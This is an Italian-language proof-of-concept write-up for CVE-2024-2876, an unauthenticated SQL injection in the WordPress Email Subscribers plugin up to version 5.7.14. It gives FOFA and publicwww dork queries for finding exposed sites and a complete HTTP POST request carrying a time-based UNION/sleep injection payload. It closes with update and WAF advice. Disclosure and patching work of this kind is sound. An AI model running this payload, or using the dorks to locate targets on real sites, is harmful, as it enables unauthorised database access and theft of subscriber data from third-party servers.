
Proof-of-concept per CVE-2024-2876, un'iniezione SQL non autenticata nel plugin WordPress Email Subscribers, con dork query e una richiesta di exploit funzionante.
#Descrizione Della Vulnerabilità: Il plugin Email Subscribers by Icegram Express – Email Marketing, Newsletters, Automation for WordPress & WooCommerce per WordPress è vulnerabile a SQL Injection tramite la funzione 'run' della classe 'IG_ES_Subscribers_Query' in tutte le versioni fino alla 5.7.14 inclusa, a causa di un escaping insufficiente sul parametro fornito dall'utente e della mancanza di una preparazione adeguata sulla query SQL esistente. Ciò rende possibile per attaccanti non autenticati aggiungere query SQL aggiuntive a query già esistenti, che possono essere utilizzate per estrarre informazioni sensibili dal database.
#Dork: 1- FOFA : body="/wp-content/plugins/email-subscribers/" 2- publicwww : "/wp-content/plugins/email-subscribers/"
#POC: POST /wp-admin/admin-post.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111
#POC Youtube: https://www.youtube.com/watch?v=eDEGt_yXyvE
#Come risolvere ? Poiché tutte le versioni fino alla 5.7.14 sono state rilevate con la CVE, si raccomanda agli utenti di aggiornare il plugin Email Subscribers by Icegram Express alla versione 5.7.15 (o alla release più recente 5.7.19). Gli utenti di Patchstack hanno la possibilità di abilitare gli aggiornamenti automatici specificamente per i plugin vulnerabili. Implementare una soluzione WAF/WAAP come ulteriore livello di protezione. Il vantaggio di tali soluzioni è che, anche se la vulnerabilità è nuova e sconosciuta (0-day), potrebbe comunque prevenire gli attacchi rilevando pattern e tecniche di sfruttamento.